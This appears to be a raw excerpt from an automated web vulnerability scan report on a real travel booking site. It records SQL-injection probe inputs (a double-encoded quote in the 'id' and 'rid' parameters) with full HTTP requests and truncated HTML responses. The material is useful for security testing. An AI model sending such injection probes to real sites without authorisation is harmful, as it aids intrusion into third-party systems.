Parameter	Type	Value
id	GET	%27

Request

GET /more_villas.php?id=%2527 HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:10:12 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 7839
Content-Type: text/html

<html><head> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><title> Villas, Rentals, Rentals, Villas </title><style type="text/css">body { scrollbar-3d-light-color : #274083; scrollbar-arrow-color : #000000; scrollbar-base-color : #274083; scrollbar-dark-shadow-color : #000000; scrollbar-face-color : #274083; scrollbar-highlight-color : #c0c0c0; scrollbar-shadow-color : #000000; background-image: url("/images/gradient.jpg"); background-repeat: repeat-x;}h1 { font-family: arial; font-size: 20px; color: white;}td { font-family: arial; font-size: 15px; color: white;}input.tidy { font-size: 11px; width:120px; color: #000000; background-color: #274083; font-weight:bold; margin:0 0 10 0; display: block;}</style><SCRIPT LANGUAGE="Javascript" src="/villas.js"></script></head><body bgcolor="#000066" link="#000000" vlink="#000000" alink="#000000" topmargin="0" leftmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="s..

- /resortguide.php

/resortguide.php

http://theholidaygroup.com/resortguide.php?rid=%2527&img=lgallery2

Parameters

Parameter	Type	Value
rid	GET	%27
img	GET	lgallery2

Request

GET /resortguide.php?rid=%2527&img=lgallery2 HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Found
Date: Tue, 01 Mar 2011 19:10:23 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: resort.php
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 9080
Content-Type: text/html

<html><head> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script> <title>theholidaygroup.com | Luxury Villas</title><style type="text/css">body { /*scrollbar-3d-light-color : #274083; scrollbar-arrow-color : #000000; scrollbar-base-color : #274083; scrollbar-dark-shadow-color : #000000; scrollbar-face-color : #274083; scrollbar-highlight-color : #c0c0c0; scrollbar-shadow-color : #000000;*/ scrollbar-3d-light-color : #00a0dd; scrollbar-arrow-color : #ffffff; scrollbar-base-color : #00a0dd; scrollbar-dark-shadow-color : Navy; scrollbar-face-color : #00a0dd; scrollbar-highlight-color : Navy; scrollbar-shadow-color : Navy; background-image: url("/images/gradient.jpg"); background-repeat: repeat-x; }h1 { font-family: arial; font-size: 20px; color: white; }h3 { font-family: arial; font-size: 11px; color: white; display: block; margin: 0px; padding: 0px; }td { font-family: arial; font-size: 15px; color: white; }p.imagecol, a.imagecol, a.imagecol:visited { font-family: arial; font-size: 13px; color: yellow; margin-top:0px; margin-bottom:15px; }select.tidy { color: #ffffff; background-color: #274083; font-size: 11px; width:180px; margin:0 0 20 0; }input.tidy { font-size: 11px; width:120px; color: #000000; background-color: #274083; font-weight:bold; margin:0 0 10 0; display: block; }form.tidy { display: inline; margin: 0px; padding: 0px; }a.management, a.management:visited { font-family: arial; font-size: 11px; text-decoration: none; color: red; margin:0px; }</style><script language="JavaScript" src="/villas.js"></script></head><body bgcolor="#000066" link="#000000" vlink="#000000" alink="#000000" topmargin="0" leftmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portugu..

- /resortguide.php

/resortguide.php

http://theholidaygroup.com/resortguide.php?rid=%2527

Parameters

Parameter	Type	Value
rid	GET	%27

Request

GET /resortguide.php?rid=%2527 HTTP/1.1
Referer: http://theholidaygroup.com/rlargeimage.php?rid=542&type=lmainimage
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=s6v47s0pukhdhp1dpdnuee5cqavnctl3
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Found
Date: Tue, 01 Mar 2011 19:15:18 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: resort.php
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 9080
Content-Type: text/html

<html><head> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script> <title>theholidaygroup.com | Luxury Villas</title><style type="text/css">body { /*scrollbar-3d-light-color : #274083; scrollbar-arrow-color : #000000; scrollbar-base-color : #274083; scrollbar-dark-shadow-color : #000000; scrollbar-face-color : #274083; scrollbar-highlight-color : #c0c0c0; scrollbar-shadow-color : #000000;*/ scrollbar-3d-light-color : #00a0dd; scrollbar-arrow-color : #ffffff; scrollbar-base-color : #00a0dd; scrollbar-dark-shadow-color : Navy; scrollbar-face-color : #00a0dd; scrollbar-highlight-color : Navy; scrollbar-shadow-color : Navy; background-image: url("/images/gradient.jpg"); background-repeat: repeat-x; }h1 { font-family: arial; font-size: 20px; color: white; }h3 { font-family: arial; font-size: 11px; color: white; display: block; margin: 0px; padding: 0px; }td { font-family: arial; font-size: 15px; color: white; }p.imagecol, a.imagecol, a.imagecol:visited { font-family: arial; font-size: 13px; color: yellow; margin-top:0px; margin-bottom:15px; }select.tidy { color: #ffffff; background-color: #274083; font-size: 11px; width:180px; margin:0 0 20 0; }input.tidy { font-size: 11px; width:120px; color: #000000; background-color: #274083; font-weight:bold; margin:0 0 10 0; display: block; }form.tidy { display: inline; margin: 0px; padding: 0px; }a.management, a.management:visited { font-family: arial; font-size: 11px; text-decoration: none; color: red; margin:0px; }</style><script language="JavaScript" src="/villas.js"></script></head><body bgcolor="#000066" link="#000000" vlink="#000000" alink="#000000" topmargin="0" leftmargin="0"><script 